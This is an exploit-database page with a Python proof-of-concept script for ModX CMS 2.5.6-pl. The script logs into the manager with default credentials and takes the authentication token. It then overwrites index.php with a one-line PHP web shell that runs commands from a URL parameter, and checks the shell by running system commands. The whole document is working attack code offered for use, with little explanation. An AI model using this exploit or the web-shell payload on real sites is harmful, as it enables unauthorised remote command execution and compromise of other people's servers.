ModX CMS Proof Of Concept Shell Upload



EKU-ID: 6647 CVE: OSVDB-ID:
Author: Cody Sixteen Published: 2017-06-01 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


c@kali:~/src/Napalm2.2/libs$ cat shell-modxcms.py
#!/usr/bin/env python
# shell-modxcms.py - upload shell for modx 2.5.6-pl
#     
# !! we need rwx in modx-webdir to go ;Z
#
# 30.05.217 @ code610 blogspot com
# 

import requests
import re

target=raw_input("Hostname> ")

print '[+] Preparing tests for ' + str(target)

session = requests.session()
sesslink = target + '/manager/'

print '[+] Preparing login request...'

data_login = {
        'login_context':'mgr',
        'modahsh':'',
        'returnUrl':'/manager/',
        'username':'user',
        'password':'bitnami',
        'login':'1'
}
data_link = sesslink
doLogin = session.post(data_link, data=data_login)
loginResp = doLogin.text

if 'Logout' in loginResp:
  print '[+] We are logged in ;]'

  # grab HTTP_MODAUTH to build params for shelluprequest
  modlink = target + '/manager/?a=media/browser'
  getmod = session.get(modlink)
  getmodresp = getmod.text

  modfind = re.compile('auth:"(.*?)"')
  modfound = re.search(modfind, loginResp)

  if modfound:
    token = modfound.group(1)

    print '[+] Found HTTP_MODAUTH token:', token

    # preparing shellup req
    shell_data = {
        'action':'browser/file/update',
        'HTTP_MODAUTH':token,
        'wctx':'',
        'source':'1',
        'file':'index.php',
        'content':'<?php system($_GET["x"]);'
    }
    shheader = {'modAuth':token}
    shellreq = target + '/connectors/index.php'
    shellup = session.post(shellreq, data=shell_data, headers=shheader)
    shresp = shellup.text

    print '[+] Shell should be ready now. Verifying:'
    shellme = target + '/index.php?x=id;uname -a;pwd'
    shverif = requests.get(shellme)
    print shverif.text

    print ''

c@kali:~/src/Napalm2.2/libs$